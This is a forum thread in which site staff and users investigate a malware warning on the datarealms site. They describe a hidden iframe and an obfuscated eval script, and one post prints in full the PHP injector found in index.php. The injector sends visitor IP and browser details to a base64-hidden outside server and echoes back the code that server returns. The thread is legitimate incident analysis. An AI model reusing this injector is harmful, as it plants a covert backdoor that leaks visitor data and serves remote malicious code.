As you guys can probably imagine, Data is trying to get these problems (as well as some potentially related server issues) dealt with as soon as possible. It's getting a little difficult, though, since he's also trying to work on the next version of CC at the same time. If anybody is willing to give him a hand, or knows anybody who might, send me (or him) a PM.

Wish I could help, all I can do is point out problems though.

The warning is gone right now, that said.

Oh hi there. This is the presumably foreign piece of script on the site that I managed to catch.
It was in a hidden iframe, with a src of "http://ovalslassostyle.net/111"
scriptsrc being "/xSE_dFpCn/xjUVworW?cvgqzt=OL.k_kgz8zX5kO"

Funny obfuscation.
It creates strings "eval", "substring", "fromCharCode", "indexOf" and "CharAt" with the variables, and calls them as functions.

I think the starting ifs break the script after it executes, removing it.

http://pastebin.com/QuWRS4Hd Here's my best-guess unobfuscation and cleanup.

The script then takes a substring and eval's the decrypted code. http://pastebin.com/MLY8i1kG
Ie. exactly what Daman said.

Once again, the warning is gone, for now. Hopefully, for good.

If you ever see something like this again, please give me the URL on the datarealms site where the warning appears, and (if possible) the offending code.

Site seems clean now.

As already said, it seems to be happening once per ip or something. The offsite code (called by the obfuscated script) likely hides the script from you once it executes.
Or maybe it uses cookies.
I caught it with NoScript: it pops a nice big block icon where the invisible iframe resides.

Will check the GET console of Firefox the next time it happens, in hopes of getting a look at the offsite code. I doubt that's how it works, but eh.

Thanks for the info, findude.
Seems we had this stuck in index.php

Code:
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>

So it was getting the evil code from an external site. Time to audit security it seems!

So, does this mean DRL users are now part of a botnet, or did I read the last two pages incorrectly?

I would strongly suggest that anybody who's visited the site in the last little while run Malwarebytes just to make sure nothing got through. If your security was up to date, chances are you'll be okay.

I always get this warning at the main site http://www.datarealms.com/ and I generally don't proceed after that.

But I'll send the PM if it happens again.

I ran an avast scan on June 10 and a MWB scan on June 25. The former resulted in some supposedly infected .dll file in my DesuraApp folder. The latter resulted in two PUM.Hijack.StartMenu items, one being Explorer\Advanced|Start_ShowHelp and Explorer\Advanced|Start_ShowSearch.

I'm running Opera 12.00. I'm also running Windows XP SP3. I guess nothing got in, since I doubt either of those scans had to do with what was on the site.

PUM = Potentially Unwanted Modifications -- Start_ShowHelp hides Start Menu/Help and Start_ShowSearch hides Start Menu/Search. Pretty simple (and benign) stuff.
